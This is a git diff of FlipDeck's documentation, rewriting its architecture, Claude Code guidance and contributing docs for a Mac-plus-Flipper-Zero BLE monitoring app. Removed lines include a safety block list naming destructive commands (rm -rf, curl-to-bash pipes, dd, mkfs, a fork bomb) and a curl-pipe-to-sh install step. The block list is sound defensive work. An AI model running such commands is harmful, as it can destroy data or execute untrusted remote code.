diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 1d77471..ec7ad2c 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -1,50 +1,152 @@ -# ARCHITECTURE +# FlipDeck Mission Control — Architecture -## Overview +The Mac is the brains; the Flipper Zero is a portable status-and-control +terminal. The Mac observes the developer environment, turns observations into +normalized **state** and **events**, and pushes a compact projection of that +state to the Flipper over Bluetooth LE. The Flipper renders it and can ask the +Mac to perform a small set of **explicitly supported actions**. It never sends +commands or shell text. -FlipDeck is a Flipper Zero native application that turns the device into a USB command deck — a safety-first tool for sending confirmed keystroke commands to a connected computer over USB HID. +``` + ┌───────────────────────────── FlipDeck for Mac ─────────────────────────────┐ + │ Providers (observe) Engine Consumers │ + │ ───────────────────── ────────── ───────── │ + │ ProjectScanner + GitClient ─┐ ┌─ SwiftUI app │ + │ ProcessScanner (ps) ─┤ snapshot ─► diff ─► │ (Overview, Projects, │ + │ ListenerScanner (lsof) ─┼─► EngineState ─► Events ─► Activity log │ + │ AgentProviders ─┤ │ │ (persisted JSONL) │ + │ VercelIntegration (HTTP) ─┤ │ └─► NotificationRouter ─┐ │ + │ MachineMetrics (macOS) ─┘ │ (deterministic rules)│ │ + │ ▼ │ │ + │ ActionExecutor ◄── ActionTable ◄── FlipperSnapshotBuilder Mac notif ◄──┤ │ + │ (vetted kinds only) │ │ │ + │ FlipperSession (FDP/1 protocol) ◄────────┘ │ + │ │ │ + │ FlipperTransport (protocol) │ + │ ├─ BLESerialTransport (CoreBluetooth) │ + │ └─ LoopbackTransport (tests) │ + └────────────────────────────────────────┬────────────────────────────────────┘ + │ BLE, paired + encrypted + ┌────────────────────────────────────────┴────────── FlipDeck for Flipper ────┐ + │ fd_ble (custom BLE profile → serial service) → fd_proto (frames, CRC) │ + │ → fd_state (staged snapshot, atomic commit, dedupe, staleness) → fd_ui │ + └─────────────────────────────────────────────────────────────────────────────┘ +``` -## Tech Stack +## Repository layout ``` -FlipDeck/ -├── CMakeLists.txt # uFBT build configuration for Flipper Zero -├── src/ # C source code for Flipper app -│ ├── flipdeck_app.c/h # Main application entry point -│ ├── flipdeck_ui.c/h # User interface views -│ ├── profile_manager.c/h # SD card profile system -│ ├── usb_hid.c/h # USB HID keyboard implementation -│ └── settings.c/h # User preferences -├── assets/ -│ └── icon.bmp # Flipper Zero app icon -├── desktop_helper/ # Optional TypeScript companion app -│ ├── package.json -│ ├── tsconfig.json -│ └── src/index.ts -└── sd_card/ # SD card content for Flipper Zero - └── apps_data/flipdeck/ - ├── profiles/ # JSON command profiles - ├── snippets/ # Text snippet templates - ├── logs/ # Session logs - └── settings.json +mac/ Swift package (swift-tools 5.10, macOS 14+) + Sources/FlipDeckCore/ Platform-independent core. Builds and tests on Linux. + Models/ Severity, FDEvent, FDAction, Project, DevServer, AgentSession, MachineStatus + Support/ CommandRunner, Clock, Log (secret redaction) + Projects/ ProjectScanner, GitClient + porcelain-v2 parser, FrameworkDetector + Monitoring/ ProcessScanner (ps), ListenerScanner (lsof), ProcessClassifier, DevServerDetector + Agents/ AgentProvider protocol, Claude Code + Codex providers + Integrations/ Integration protocol, Vercel (link discovery, API client, deployment tracking) + Events/ EventDiffer (state → events), ActivityLog, NotificationRules + Actions/ ActionKind, ActionTable, ActionExecutor + SystemEffects protocol + Protocol/ FDP/1 wire codec, CRC-16, FlipperSession, FlipperSnapshotBuilder + Transport/ FlipperTransport protocol, LoopbackTransport + Persistence/ Settings, JSON file store + Secrets/ SecretStore protocol (+ in-memory store for tests) + Engine/ FlipDeckEngine: schedules providers, owns state, fans out + Sources/FlipDeckMacPlatform/ macOS-only: CoreBluetooth transport, Keychain, machine + metrics (Mach/IOKit), NSWorkspace effects, notifications + Sources/FlipDeckApp/ SwiftUI app (sidebar: Overview … Settings) + Sources/flipdeck-headless/ CLI that runs the engine and prints state/events (Linux + macOS) + Tests/FlipDeckCoreTests/ +application.fam Flipper Zero .fap manifest (uFBT project root; appid "flipdeck") +src/ Flipper app (C) + fd_proto.[ch] frame codec, CRC, line reassembly (no SDK deps, host-tested) + fd_state.[ch] model store + FDP/1 session rules (no SDK deps, host-tested) + fd_ble.[ch] custom BLE profile + serial service transport + fd_ui.[ch] screens (row-based: info / navigate / action / dismiss) + flipdeck.c entry point, event loop, threading + tests/host/ host tests + fd_sim (C state machine as a process, for Swift interop tests) +scripts/check_flipper_sdk.sh type-check against real firmware headers + API symbol check +scripts/gen_protocol_vectors.py regenerates docs/protocol-vectors.txt +ci/ proposed GitHub workflows (see ci/README.md) +docs/protocol.md FDP/1 wire protocol spec +docs/AUDIT.md pre-pivot audit ``` -## Architecture +## Key decisions + +- **Native Swift/SwiftUI**, packaged with SwiftPM rather than an `.xcodeproj`, so + the core stays portable and CI-testable. `mac/scripts/build-app.sh` builds a + signed `.app` bundle. A bundle is needed for the Bluetooth usage string and + for `UNUserNotificationCenter`. +- **The core is platform-independent.** Every OS touchpoint sits behind a + protocol (`CommandRunner`, `SystemEffects`, `SecretStore`, `MachineMetricsProvider`, + `FlipperTransport`). That lets the logic that decides what the user sees be + tested on Linux with fixtures and real `git`/`ps`/`lsof`. +- **Monitoring shells out** to `git`, `ps` and `lsof`, at bounded intervals, with + timeouts. These tools are stable, present on every Mac, and far cheaper to get + right than private APIs. Scans are incremental: project discovery runs rarely, + `git status` runs per project on a slower cadence than the process table, and + descent stops at each repo root and skips dependency and build directories. +- **Events come from diffs.** Each provider produces state. The engine diffs + consecutive states to emit normalized `FDEvent`s. The first observation after + launch is a silent baseline, so already-running servers don't flood Activity + with "started". +- **Honesty over coverage.** Agents report only what the process table proves: + running, elapsed time, and directory. Exit status of a process FlipDeck didn't + spawn is unknowable, so an agent that disappears is reported as `agent.exited` + (outcome unknown), never as "completed" or "failed". Test pass/fail is not + inferred from process lifetimes; no source for it exists in Phase 1. +- **The Flipper can only reference actions, never define them.** Each snapshot + carries an action table (`id → kind + target`) generated by the Mac. A Flipper + request names an action id. The Mac looks it up in its own table, re-validates + the target (for example, that the PID is still the same dev server via its + start time), then executes. Unknown or stale ids are rejected. +- **Transport-agnostic session.** `FlipperSession` implements handshake, + heartbeats, snapshots, alerts, action requests and results over any + byte-stream `FlipperTransport`. + +## Bluetooth details (verified against firmware source) + +- The stock BLE serial profile can't be reused. On connect, the BT service + checks `current_profile == ble_profile_serial`, opens its own RPC session and + overwrites the app's data callback (`applications/services/bt/bt_service/bt.c`). +- FlipDeck defines its **own profile template** (the pattern the firmware's HID + profile uses). It starts the exported serial GATT service plus Device Info and + Battery, uses its own advertising name (`FlipDeck `), a distinct MAC, and + its own bonding-key file. The phone-app pairing is untouched, and the BT + service never opens RPC on it. +- Serial service: RX `19ed82ae-ed21-4c9d-4145-228e62fe0000` (Mac writes), + TX `…61fe0000` (Flipper indicates), flow control `…63fe0000` (uint32 BE, bytes + the Flipper can accept). RX and TX require an **authenticated (paired) link**. + macOS shows the pairing prompt and the Flipper shows the PIN. +- The Flipper app can't observe MTU (GAP events go to the BT service), so the Mac + sends its `maximumWriteValueLength` in `HELLO`. The Flipper chunks indications + to that size, and to 20 bytes until then. -- **Platform**: Flipper Zero (ARM Cortex-M4, no WiFi required on stock firmware) -- **Build System**: uFBT (Flipper Build Tool) for compiling to `.fap` packages -- **Storage**: SD card for profiles and settings (no credential storage) -- **USB Protocol**: USB HID keyboard for keystroke injection to connected computers -- **Desktop Helper** (optional): Node.js/TypeScript app for GitHub sync and advanced features +## Phases -## Design Principles +**Phase 0: audit and plan** ✅ (`docs/AUDIT.md`, this file, `docs/protocol.md`) -1. **Flipper Community Focus**: Leverage the growing Flipper Zero maker/hacker community -2. **Hardware Integration**: Real-world USB HID functionality rather than web APIs -3. **Productivity Tool**: Practical daily-use tool for developers -4. **Safety-First Design**: Explicit confirmation before command execution (unlike stealth BadUSB tools) -5. **No Internet Required**: Works completely offline on stock Flipper firmware +**Phase 1: reliable core pipeline (this milestone)** ✅ implemented. On-hardware validation is still pending; see README → Status. +1. Core models, event model, severity, and action model. +2. Project discovery with bounded scanning and Git state (branch, dirty, ahead/behind, last commit, remote). +3. Process scan, dev-server detection (listening ports + cwd), project association. +4. Agent providers: Claude Code and Codex (running, elapsed, directory, exited). +5. Event differ, persistent activity log, deterministic notification rules. +6. Vercel integration end to end: `.vercel/project.json` linking, Keychain token, deployments → events, Open Logs. +7. FDP/1 protocol and session (handshake, snapshot/commit, heartbeat, staleness, dedupe, versioning, action request/result). +8. CoreBluetooth transport; SwiftUI app with all seven sections backed by real data or explicit empty states. +9. Flipper app: BLE transport, protocol, state store, and Home / Projects / Project / Services / Agents / Activity / Alert / Confirm screens. Actions: Open on Mac, Open localhost, Open logs, Stop server (confirmed). +10. CI: Swift build and tests on macOS, Swift core tests on Linux, Flipper host tests, and a real uFBT build (proposed in `ci/`, because workflow files need a maintainer to install them). -## License +**Phase 2: depth** +- Local event ingest (Unix socket plus a `flipdeck notify` CLI). This lets Claude Code + hooks (`Stop`, `Notification`) report **completed / waiting** agent states and lets + test runs report pass/fail. These are real sources, not inference. +- GitHub integration (Actions runs, PR checks) on the same `Integration` protocol. +- FSEvents-driven Git refresh instead of interval polling. +- Retry deployment (Vercel redeploy API), once it has been verified end to end. +- Mac-side Flipper app installer over USB CDC. -MIT License - See [LICENSE](LICENSE) for details. +**Phase 3: polish** +- Smarter notification prioritization (quiet hours, focus-aware). +- Per-project pinning and ordering, synced to the Flipper. diff --git a/CLAUDE.md b/CLAUDE.md index c198807..c53af05 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,173 +1,94 @@ # CLAUDE.md -This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. +Guidance for Claude Code (claude.ai/code) in this repository. -## Project Overview +## Project -FlipDeck is a USB command deck for Flipper Zero. It has three distinct sub-projects that must be understood as a whole: +FlipDeck Mission Control: a **Mac app** (Swift/SwiftUI) that monitors a developer's +environment, plus a **Flipper Zero app** (C, uFBT) that displays it and requests a few +vetted actions over Bluetooth LE. The Mac is the brains; the Flipper is a thin terminal. +Read `ARCHITECTURE.md` first, then `docs/protocol.md` (the contract between the two). -1. **Flipper Zero native app** (`/src/`) — C app running on the device, built with uFBT -2. **Web installer** (`/web/`) — Next.js 16 app for browsing profiles and downloading install packs -3. **Desktop helper CLI** (`/desktop_helper/`) — Node.js/TypeScript CLI (`flipdeck` command) for profile management +`web/`, `desktop_helper/`, `sd_card/` and `safety-rules.json` belong to the **legacy** +keystroke-deck product (see `docs/AUDIT.md`). Don't extend them. Vercel still deploys +`web/`, so don't delete them without the owner's go-ahead. ## Commands -### Web installer (`/web/`) - -```bash -npm install -npm run dev # Dev server on localhost:3000 -npm run build # Production build (runs prebuild first to copy profiles) -npm run start # Start standalone server bound to 0.0.0.0 -npm run lint # ESLint -npm test # Vitest -``` - -Run a single test: -```bash -npx vitest run src/__tests__/specific.test.ts -``` - -### Desktop helper (`/desktop_helper/`) - -```bash -npm install -npm start # Run CLI with ts-node (development) -npm run build # Compile TypeScript → dist/ -npm test # Jest -npm run format:profiles # Prettier-format all SD card profile JSONs -``` - -Run a single test: ```bash -npx jest src/__tests__/specific.test.ts -``` - -### Flipper Zero app (`/src/`) - -```bash -fbt # Build .fap using uFBT -fbt test # Run unit tests -``` - -## Architecture - -### Web installer data flow - -Profiles are JSON files in `/web/public/profiles/` (copied from `/sd_card/apps_data/flipdeck/profiles/` during `prebuild`). The flow: - -``` -/web/public/profiles/*.json - → lib/profiles.ts: loadAllProfiles() → normalizeProfile() (v1 actions → v2 commands migration) - → lib/safety-check.ts: auditCommands() (regex-based command audit) - → API routes under app/api/ (serve JSON or ZIP) - → React components in app/page.tsx (ProfileSelector → CommandPreview → CommandAudit → SmartInstallButton) -``` - -State lives entirely in `page.tsx` as `useState`/`useMemo` hooks. There is no global state manager — `selectedId` is passed as props/callbacks. - -`SmartInstallButton` always renders `SerialInstaller`, which drives a direct install over the **Web Serial API** (`lib/flipper-serial.ts`, `FlipperSerial` class — opens the Flipper's CLI serial port at 230400 baud and issues storage RPC commands to write `flipdeck.fap`, selected profiles via `getDeviceProfile()`, snippets, and `settings.json` directly to the SD card). `isWebSerialSupported()` gates whether this UI is shown; `SmartInstallButton` separately probes WebUSB (`navigator.usb.requestDevice`) just to show a "Flipper detected" hint, not for installs. Users without Web Serial support fall back to the ZIP download (`/api/pack`). - -API routes: -- `GET /api/profiles` — JSON array of all profiles -- `GET /api/profiles/download?profile=` — single profile download -- `GET /api/pack?profile=git&profile=node` — ZIP with selected profiles -- `GET /api/install-bundle/download` — full install ZIP (all profiles + snippets + settings.json + README-FIRST.txt) -- `GET /api/health` — liveness check, returns `{ ok, service, timestamp }` - -### Profile schema (v2 canonical, v1 still accepted) - -```json -{ - "name": "Git", - "id": "git", - "commands": [ - { - "label": "Git Status", - "type": "text", - "value": "git status\n", - "delay_ms": 100, - "confirmation_required": true, - "target": "usb_hid" - } - ] -} +# Mac (from mac/) +swift build # all targets; SwiftUI/CoreBluetooth code compiles only on macOS +swift test # FlipDeckCoreTests (runs on Linux and macOS) +swift test --filter InteropTests +swift run flipdeck-headless --root ~/Developer --once --frames +scripts/build-app.sh # → build/FlipDeck.app (macOS only) + +# Flipper (repo root) +make -C src/tests/host run # protocol/state host tests (ASan/UBSan) + golden vectors +ufbt # build dist/flipdeck.fap +scripts/check_flipper_sdk.sh # type-check vs real firmware headers + exported-symbol check +python3 scripts/gen_protocol_vectors.py # regenerate docs/protocol-vectors.txt ``` -v1 used `"actions"` (with `"confirm"` instead of `"confirmation_required"`). `normalizeProfile()` in `lib/profiles.ts` handles the migration transparently. The `extends` field enables profile inheritance (base profile commands are prepended). `getDeviceProfile()` returns the raw, normalized-but-unflattened profile written to the Flipper over serial — keep this in sync with what `profile_manager.c` expects to parse on-device. - -Each command has an optional `target` field (`"usb_hid"` | `"wifi_uart"`, default `"usb_hid"`) that selects whether the command is sent as a USB HID keystroke to the host computer or as a UART line to the Flipper WiFi Dev Board. - -Profile categories are derived from the profile `id` via `primaryCategory()` in `lib/profiles.ts`: `"wifi-devboard"` → "wifi"; `["aws", "docker"]` → "cloud"; `["system", "presentation"]` → "system"; everything else → "dev". - -### Flipper Zero app state machine - -The C app in `/src/` is a state machine with these states: `Idle`, `CategoryBrowser`, `ActionBrowser`, `NfcScan`, `SubghzScan`, `SendConfirm`, `LongSnippetWarning`, `Settings`. In `ActionBrowser`, long-pressing OK sends immediately (skipping `SendConfirm`) and the Right button toggles the selected action as a favorite. In `CategoryBrowser`, long-pressing OK on a category pins/unpins it as the startup category (opened automatically on the next launch, bypassing `CategoryBrowser`); a synthetic "Favorites" row appears at the top whenever any action is favorited (flattening favorited actions from every category into one list), a synthetic "NFC Scan" row is always present below it, and a synthetic "Sub-GHz Scan" row follows unless `FlipDeckApp.subghz_available` is false (the Sub-GHz bridge failed to initialize). - -`NfcScan` reads a tag's UID via `nfc_bridge.c` and looks it up in `nfc_tags.json` (`profile_manager_load_nfc_tags`/`find_nfc_tag`, mirroring the favorites data shape). A known tag jumps straight to `SendConfirm` — **NFC-triggered sends always require the confirm screen**, bypassing neither it nor going through quick-send, regardless of `confirm_before_send`, since a tag's UID is trivially cloneable and is a weaker signal of intent than a person holding OK on a chosen list item. `SubghzScan` works the same way one layer down the stack: it decodes a 433.92MHz OOK signal via `subghz_bridge.c` against the firmware's full Sub-GHz protocol registry, hashes the decoded protocol string (`profile_manager_hash_subghz_signature`, 64-bit FNV-1a) into a fixed-width fingerprint looked up in `subghz_remotes.json`, and **also always requires the confirm screen** — for an even stronger reason than NFC's, since RF is receivable from across a room with zero physical contact with the device. `subghz_bridge.c` is receive-only, structurally (no transmit call anywhere in it), so it cannot replay/attack garage doors, gates, or cars, and its exact-string-match fingerprint means fixed-code remotes bind reliably while rolling-code remotes (many modern car/garage keyfobs) simply never re-match after their first press, by design. An unknown tag or signal hands off into `CategoryBrowser`/`ActionBrowser` in "binding mode" — no separate state for either; the two browser states reuse their normal views with OK repurposed to write the new mapping instead of sending — via `FlipDeckUi.pending_bind`, a tagged union (`{kind: None|Nfc|Subghz, id_hex}`) that generalizes what was originally an NFC-only flag once a second trigger source needed the same "pick a target for this unknown token" flow. See `docs/nfc_trigger_spec.md` and `docs/subghz_trigger_spec.md` for the full designs. - -Key modules: -- `flipdeck_app.c` — main loop, USB polling (50ms), state transitions -- `flipdeck_ui.c` — 128×64 LCD rendering, button input handling, dispatches each action to USB HID or the UART bridge based on `action->target` -- `profile_manager.c` — JSON parsing from SD card, safety validation before send -- `usb_hid.c` — USB HID keyboard report generation -- `uart_bridge.c` — UART bridge to the Flipper WiFi Dev Board (GPIO pins 13/14, 115200 baud) for `target: "wifi_uart"` commands -- `nfc_bridge.c` — NFC tag scanning bridge (`nfc/nfc_scanner.h`/`nfc_poller.h`/`nfc_device.h`); no `fbt`/`ufbt` toolchain is available in this environment to actually build it, but its API usage was syntax/type-checked clean against the real headers fetched from `flipperdevices/flipperzero-firmware` — still needs a real build + hardware flash to confirm runtime behavior -- `subghz_bridge.c` — Sub-GHz (433MHz) remote/keyfob RX bridge (`furi_hal_subghz.h`, `lib/subghz/{devices/cc1101_configs,environment,receiver,subghz_worker,protocols/base,subghz_protocol_registry}.h`); receive only, never transmits; syntax/type-checked clean against the full real header dependency chain (not just the top-level headers) — a stronger check than NFC's, since it required resolving two previously-open unknowns (the preset register symbol and protocol registry symbol) against real firmware source; `application.fam`'s linkage is still unconfirmed by an actual build, though lower-risk than originally expected — see `docs/subghz_trigger_spec.md` -- `settings.c` — JSON settings serialization - -Memory constraint: 4096-byte stack limit. Use fixed-size buffers; avoid deep call stacks. - -### Desktop helper CLI - -Commander.js app with subcommands under `flipdeck profile `: -`validate`, `new`, `edit`, `preview`, `audit`, `migrate`, `share`, `sync` - -Subcommands are registered via `registerProfileCommands()` in `src/lib/profile-tools.ts`; shared profile logic (loading, normalization, schema) lives in `src/lib/profile-tools.ts` and `src/lib/schema.ts`, while `src/validation.ts` holds `DANGEROUS_PATTERNS` and `validateProfile()`. - -Validation pipeline: JSON parse → Zod schema (`lib/schema.ts`) → normalize v1→v2 → resolve `extends` → audit against `DANGEROUS_PATTERNS`. - -## Safety Rules - -`safety-rules.json` at the repo root is the single canonical source of truth for command -pattern severities. All three layers (web, desktop helper, Flipper C app) are expected to -match it exactly — web and desktop each have a "safety-rules-parity" test that fails if -their rule set drifts from the JSON. The C app's `profile_manager_is_value_safe` is checked -against the same rules by hand (no JSON parser on-device); keep it in sync manually when the -JSON changes. - -Matching is case-insensitive and regex-based (not literal substring matching), so real-world -one-liners like `curl -fsSL https://x | bash` are caught regardless of spacing or case. - -**Critical (blocks install/send):** `rm -rf`, real `curl|wget … | sh|bash` pipes, `dd if=`, -`mkfs`, fork bomb `:(){ :|:& };:`, raw disk redirect `> /dev/sd*` -**Warning only (flagged, not blocked):** `sudo`, `chmod 777`, `chown root`, credential -assignments (`PASSWORD=`, `TOKEN=`, `API_KEY=`, `SECRET=`, `PRIVATE_KEY=`) - -Severity determines enforcement: critical risks block the web install/download (both in the -UI and server-side in `/api/pack` and `/api/install-bundle/download`, which audit profiles -*and* snippets before zipping) and fail desktop `validate`/`audit`/`new`/`edit`. Warnings are -surfaced but never block. - -Safety logic lives in: -- Canonical rules: `safety-rules.json` (repo root) -- Web: `web/src/lib/safety-check.ts` (enforced both client-side and in the `/api/pack` and - `/api/install-bundle/download` routes) -- Desktop helper: `desktop_helper/src/validation.ts` -- Flipper app: `src/profile_manager.c` (`profile_manager_validate_action` / - `profile_manager_is_value_safe`) - -All commands require explicit OK confirmation on the Flipper before USB send. - -## Key Conventions - -- **Next.js version warning:** `web/AGENTS.md` notes this uses Next.js 16 with breaking API changes from training data — read `node_modules/next/dist/docs/` before writing Next.js code. -- **TypeScript paths:** `@/*` maps to `web/src/*` (configured in `web/tsconfig.json`). -- **Prettier config:** 100-char line width, no trailing commas (`desktop_helper/.prettierrc.json`). -- **C naming:** PascalCase for types with `_t` suffix, `snake_case` for functions and variables (Flipper Zero SDK convention). -- **Profile files live in two places:** `sd_card/apps_data/flipdeck/profiles/` is the source of truth for device profiles; `web/public/profiles/` is a copy populated at build time by `web/scripts/copy-profiles.mjs`. -- **Repo-level docs:** `docs/flight_manual.md` (end-user guide) and `docs/ROADMAP.md` (planned work) live at the repo root; `scripts/prebuild-packs.js` pre-generates downloadable packs. - -## Deployment - -Vercel deploys the `web/` directory. The root directory in the Vercel project is set to `web`; Vercel runs `npm run build` and deploys the output as serverless functions. No `vercel.json` is required — configuration is managed in the Vercel dashboard. +In the cloud container there's no local Swift toolchain. Use the official image: +`docker run --rm -v "$PWD":/w -w /w/mac mirror.gcr.io/library/swift:6.1-noble swift test` +(`apt-get install lsof perl` inside it for the process tests). The uFBT SDK host is +blocked there too. Use `scripts/check_flipper_sdk.sh` (clones firmware from GitHub), or +`ufbt update --local --hw-target f7` with a Momentum SDK zip from GitHub releases. + +## Architecture rules + +- **FlipDeckCore stays platform-independent** (Foundation only). Every OS touchpoint + goes behind a protocol: `CommandRunner`, `SystemEffects`, `SecretStore`, + `MachineMetricsProvider`, `FlipperTransport`, `HTTPClient`, `MacNotifier`. macOS + implementations live in `FlipDeckMacPlatform`, with every file wrapped in `#if os(macOS)`. +- **State in, events out.** Providers produce `EngineState`. `EventDiffer` derives events + from old→new state, and the first observation of any section is a silent baseline. + Every mutation goes through `FlipDeckEngine.apply`. +- **Never fabricate state.** If something can't be detected reliably (agent success or + failure, test results), mark it unsupported (`AgentCapabilities`) instead of inferring it. +- **Actions are an allowlist.** `ActionKind` is the complete set, and there is no "run + command". The Flipper sends only action ids from the Mac's current snapshot table. + `ActionExecutor` re-validates the target against live state (PID + start time for + processes, known URLs only) before acting. Destructive kinds require confirmation. +- **Notification routing** is data (`NotificationRules.defaultTable`): Activity always, + plus Flipper and/or Mac per event type. +- **Secrets** go only in the Keychain via `SecretStore`. Never put them in settings, + logs, errors (`Redact`), or anything sent to the Flipper. Git remote URLs are stripped + of credentials. + +## Protocol (FDP/1) rules + +- Change `docs/protocol.md`, Swift (`mac/Sources/FlipDeckCore/Protocol/`) and C + (`src/fd_proto.c`, `src/fd_state.c`) together. Add golden vectors via + `scripts/gen_protocol_vectors.py`. Both test suites must pass them. +- Record limits and field lengths are mirrored in `FlipperLimits` (Swift) and + `src/fd_state.h` (C). Changing them is a protocol change. +- Frames are ≤ 240 bytes, printable ASCII, and carry a CRC-16. Snapshots are staged + and committed atomically. Everything must be safe to deliver twice. + +## Flipper app rules + +- The stack is 4 KB, and the GUI draw callback runs on the GUI thread, so large + buffers live on the heap (`FdApp`, `FdUi.rows`). Shared state is guarded by `FdApp.mutex`. +- BLE: FlipDeck uses its **own** profile template (`fd_ble.c`). The stock + `ble_profile_serial` gets hijacked for RPC by the BT service on every connect. Keep + the startup/teardown order (disconnect → keys path → profile start; disconnect → + default keys → restore default). +- `fd_proto.c` / `fd_state.c` must not include SDK headers, so they stay host-testable. +- Firmware builds use `-Werror` with format-truncation checks. `check_flipper_sdk.sh` + compiles with `-Os`, as uFBT does, so those warnings surface locally. + +## Conventions + +- Swift: Swift 5 language mode (tools 5.10), macOS 14 deployment target, 4-space + indent. Match the surrounding comment density: comments explain *why*. +- C: Flipper SDK style: `snake_case` functions, `PascalCase` types, `Fd` prefix. +- UI copy: plain, specific, no fake data. Empty states explain what would appear and why. + +## CI + +The session tokens used so far lack GitHub's `workflow` scope, so the intended +workflows live in `ci/` (see `ci/README.md`). The existing `.github/workflows/test.yml` +already runs `make -C src/tests/host run`, and `build-fap.yml` builds the new `.fap` +on master. diff --git a/CMakeLists.txt b/CMakeLists.txt deleted file mode 100644 index bab6695..0000000 --- a/CMakeLists.txt +++ /dev/null @@ -1,16 +0,0 @@ -# FlipDeck - Flipper Zero USB Command Deck -# A uFBT-based Flipper Zero application - -FlipperApp("FlipDeck") - -# Source files -set(SOURCES - src/flipdeck_app.c - src/flipdeck_ui.c - src/profile_manager.c - src/uart_bridge.c - src/usb_hid.c - src/settings.c -) - -target_sources(flipdeck PRIVATE ${SOURCES}) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9885597..f1b8107 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,173 +1,36 @@ # Contributing to FlipDeck -Thank you for your interest in FlipDeck! This guide will help you get started with development. +Start with `ARCHITECTURE.md`, then `docs/protocol.md`. `CLAUDE.md` has the +commands and the architecture rules. They apply to humans too. -## Development Setup +## Setup -### Prerequisites +- **Mac app:** macOS 14+ with Xcode 15+ (or just the command-line tools). + `cd mac && swift test`, then `scripts/build-app.sh`. +- **Flipper app:** Python 3.8+ and `pip install ufbt`, then `ufbt` at the repo root. + `make -C src/tests/host run` runs the host tests (any C compiler). -- **Flipper Zero** device (stock firmware) -- **SD card** (8GB FAT32 formatted) -- **Computer** with USB-A to USB-C cable (data-capable) +## Before opening a PR -### Build Environment - -We recommend using the Flipper Zero simulator for initial development: - -```bash -# Clone the repository -git clone https://github.com/mohabbis/flipdeck.git -cd flipdeck - -# Build using fbt -curl -fsSL https://raw.githubusercontent.com/flipperzero/fbt/main/install.sh | sh -fbt -``` - -### Setting Up fbt - -1. Install Python 3.8+ -2. Install fbt: `pip install fbt` -3. Install fbt for Flipper: `fbt install-sdk` - -## Project Structure - -``` -src/ -├── flipdeck_app.c # Main entry point and state machine -├── flipdeck_ui.c # GUI views and user interaction -├── profile_manager.c # SD card profile storage -├── usb_hid.c # USB HID communication -└── settings.c # User preferences -``` - -## Coding Standards - -### C Style - -- Follow the [Flipper Zero C style guide](https://docs.flipperzero.one-developer-docs/style) -- Use 4-space indentation -- Limit lines to 100 characters -- Use meaningful variable names - -### Naming Conventions - -```c -// Types: PascalCase, suffixed with _t -typedef struct { ... } FlipDeckProfile; - -// Functions: snake_case -void profile_manager_load_profiles(void); - -// Variables: snake_case -static FlipDeckApp* g_app_ctx; - -// Constants: SCREAMING_SNAKE_CASE -#define FLIPDECK_MAX_PROFILES 50 +```sh +(cd mac && swift build && swift test) +make -C src/tests/host run +ufbt # or scripts/check_flipper_sdk.sh ``` -### Safety Requirements - -⚠️ **All code must follow safety principles:** - -- ✅ No credential storage -- ✅ No stealth payloads -- ✅ Explicit user confirmation before USB send -- ✅ Graceful error handling -- ✅ Resource cleanup on free - -## Testing - -### Unit Tests - -Run tests on the simulator: - -```bash -fbt test -``` - -### Manual Testing - -1. Build: `fbt` -2. Copy `build-flipdeck/flipdeck.fap` to SD card -3. Install via Apps → Install -4. Test each workflow thoroughly - -### Automated Checks - -- All code compiles without warnings -- Memory leak check (use simulator with valgrind) -- USB safety review for new features - -## Pull Request Process - -Every PR should include: - -1. **Clear Summary** - What and why, not how -2. **Testing Notes** - How to test manually -3. **Safety Review** - Any USB/HID changes need explicit review -4. **Updated Docs** - README.md, flight_manual.md, or ROADMAP.md - -### PR Labels - -- `feature` - New functionality -- `bug` - Fixed issue -- `docs` - Documentation changes -- `ui` - Display/GUI changes -- `safety` - Security or safety review needed -- `enhancement` - Improving existing features - -## Architecture Guidelines - -### State Machine - -The app uses a simple state machine. Add new states in `FlipDeckState`: - -```c -typedef enum { - FlipDeckState_Idle, - FlipDeckState_Browser, - FlipDeckState_ProfileView, - FlipDeckState_SendConfirm, - FlipDeckState_Settings, - // Add new states here -} FlipDeckState; -``` - -### Profile Types - -Add new profile types in `FlipDeckProfileType`: - -```c -typedef enum { - FlipDeckProfileType_Command, - FlipDeckProfileType_Snippet, - FlipDeckProfileType_Shortcut, - FlipDeckProfileType_Script, -} FlipDeckProfileType; -``` - -### Memory Management - -- Always check malloc success -- Free all resources in `flipdeck_app_free()` -- Avoid dynamic allocation in loops -- Use stack for small, fixed-size data - -## Security Review Checklist - -Before submitting PRs with sensitive changes: +If you touch the wire protocol, update `docs/protocol.md`, both implementations, +and the golden vectors (`python3 scripts/gen_protocol_vectors.py`) in the same PR. -- [ ] No passwords or credentials in code -- [ ] USB HID changes reviewed for safety -- [ ] All commands require explicit confirmation -- [ ] Error messages don't leak sensitive info -- [ ] SD card operations handle corruption gracefully +## Principles -## Questions or Issues? +1. Reliability over features. +2. Real data only. If something can't be detected reliably, say it's unsupported. +3. The Flipper never gets a way to run arbitrary commands. New actions are new + `ActionKind` cases with validation in `ActionExecutor`. +4. Low overhead: bounded scans, timeouts on every external command, no busy loops. +5. Native macOS behavior and a restrained, information-dense UI. -- Open an issue with `bug` label for problems -- Use `feature` label for enhancement ideas -- Check existing issues before creating new ones +## License -Thank you for contributing to FlipDeck! 🎮 +By contributing you agree that your contributions are licensed under the MIT +License. diff --git a/FLIPPER_DEVICE_TEST_PLAN.md b/FLIPPER_DEVICE_TEST_PLAN.md deleted file mode 100644 index 5745d77..0000000 --- a/FLIPPER_DEVICE_TEST_PLAN.md +++ /dev/null @@ -1,639 +0,0 @@ -# FlipDeck Flipper Device Test Plan - -This document is the step-by-step on-device test path for validating FlipDeck with `ufbt` and a real Flipper Zero. It is written for the practical case: build the `.fap`, put it on the device, stage test data on the SD card, run the app from the Flipper UI, and confirm the behavior on a host computer. - -The goal is not to prove that every branch of the C code is perfect. That is what unit tests, static checks, and code review are for, because apparently one test method cannot carry an entire engineering civilization. This plan verifies that the app actually works where it matters: on the device, using the real SD card paths, real buttons, real USB HID behavior, and real user confirmation. - -## Scope - -This plan covers: - -1. Local `ufbt` setup. -2. Clean app build. -3. Optional launch through `ufbt launch` when supported by the connected device setup. -4. Manual `.fap` installation through qFlipper or SD card copy. -5. Required SD card data layout. -6. On-device navigation and profile loading. -7. USB HID command execution into a safe host target. -8. Safety and failure-mode checks. -9. Regression checklist before release. - -This plan does not cover: - -- Web installer browser QA. -- Full security review. -- CI configuration review. -- Malicious payload testing against real systems. 